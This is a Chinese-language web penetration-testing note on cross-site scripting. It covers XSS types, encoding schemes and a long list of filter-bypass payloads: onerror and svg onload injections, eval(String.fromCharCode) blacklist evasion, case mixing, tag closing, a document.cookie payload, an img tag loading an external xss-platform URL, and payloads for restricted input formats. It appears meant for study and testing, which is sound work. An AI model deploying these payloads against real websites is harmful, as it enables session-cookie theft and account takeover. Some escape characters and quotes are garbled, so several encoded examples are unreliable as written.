web渗透笔记之xss漏洞

0x01 xss漏洞简述

xss分类:

反射型XSS:需要欺骗用户自己去点击攻击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
存储型XSS(危害大):一般在个人资料或留言,图片上传文件名等地方存在此漏洞,这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookies
DOM型XSS:基于文档对象模型Document Objeet Model,DOM的一种漏洞.DOM是一个与平台,编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容,结构和样式,处理后的结果能够成为显示页面的一部分.DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。(dom型xss算是特殊的反射型xss,例如搜索框搜索后,网页标题出现搜索的内容。于是可在标签内闭合,然后插入xss恶意代码)

  • xss平台:有许多模块,当用户收到xss恶意代码时,可从xss平台获得管理员cookie(前提是目标站没有httponly防护)

0×02 常用编码

URL编码:
一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如“/”的URL编码为%2F(一般大写,但不强求),&字符被过滤时可尝试url编码

HTML实体编码:
命名实体:以&开头,分号结尾的,例如“<”的编码是“<”

字符编码:
十进制、十六进制ASCII码或unicode字符编码,样式为“&#数值;”,例如“<”可以编码为“<”和“<”

JS编码:js提供了四种字符编码的策略,

1、三个八进制数字,如果不够个数,前面补0,例如“e”编码为“145”
2、两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“x65”
3、四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“u0065”
4、对于一些控制字符,使用特殊的C类型的转义风格(例如 和 )


例:
xss转16进制

x3Cx73x63x72x69x70x74x3Ex61x6Cx65x72x74x28x27x70x6Fx72x75x69x6Ex27x29x3Cx2Fx73x63x72x69x70x74x3E

xss转8进制

741631431621511601647614115414516216450471601571621651511564751745716314316215116016476

CSS编码:用一个反斜线()后面跟1~6位的十六进制数字,例如e可以编码为“65”或“65”或“00065”
复合编码
所谓复合编码,也就是说输出的内容输出在多个环境中,例如

<td onclick=”openUrl(add.do?userName=’<%=value%>’);”>11</td>

value的内容首先出现在一个URL中,这个URL在一段javascript总,而javascript代码又是html的一部分。所以解码的顺序就是HTML解码–>js解码–>url解码,那么正确的编码顺序就应该是url编码–>js编码–>html编码。

0x03 绕过姿势

UBB标签

UBB标签是目前广泛运用到论坛,留言簿,以及其他网站系统的一种编码标签,类似[img]url[/img]这样的,用户在中间输入地址后即可,在发表的时候系统会自动改成 <img src=”url”></img>这个URL就是用户输入的图片地址,XSS攻击中,可以利用这个特点来达到无需用户输入<>就能执行由用户所输入的代码,我们只要在输入网址的地方输入:

x"/**/onerror="alert('poruin')

那么经过转换后就变成了

<img src="x"/**/onerror="alert('poruin')"></img>

在JS中空格可以用/**/转换,如图:
在这里插入图片描述

JS还原函数

  • JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,一般来说,这个函数都要配合EVAL来使用才有效果。

  • 在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用:

    <img src=“x”/**/οnerrοr=“eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))”>

大小写或编码绕过

大小写

<sCRipt>aleRt(1)</sCRipt>

编码按照0x01所说
特别是浏览器解码顺序为

  • html解码–>js解码,则可将javascript:alert(/xss/)进行html编码
  • 浏览器解码顺序为js解码–>html解码,可进行js编码,绕过htmlspecialchars限制

双重标签绕过

遇到script过滤时,用<scrip绕过

<script>标签绕过

  • <img src=1 onerror=alert(2)>
    
<img type=image src=https://xsspt.com/qlk7io onerror
=prompt(1)>

onerror后要换行

和sql一样用闭合

  • "><script>;alert(2)</script>">
  • <script>alert('XSS')</script>
  • '><script>alert(document.cookie)</script>
  • <IFRAME SRC=javascript:alert(‘XSS’)></IFRAME> 框架注入
  • "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
  • <A HREF=http://127.0.0.1/phpinfo.php>link</A> //链接注入

注:字段对输入字符有长度限制,这个可以通过burpsuite抓包改包绕过

受限情况下的 XSS 利用技巧

原文地址:https://brutelogic.com.br/blog/xss-limited-input-formats/

电子邮件

payload: "<svg/onload=alert(1)>"@x.y

URL(无查询)

payload: javascript://%250Aalert(1)

URL(带查询)

payload: javascript://https://domain.com/%250A1?alert(1):0

Key

payload(假设key限制条件为32字符的md5密钥): 12345678901<svg onload=alert(1)>

部分转自:https://www.freebuf.com/articles/web/43285.html
作者:0xExploit

原文地址:https://www.cnblogs.com/yida223/p/12229325.html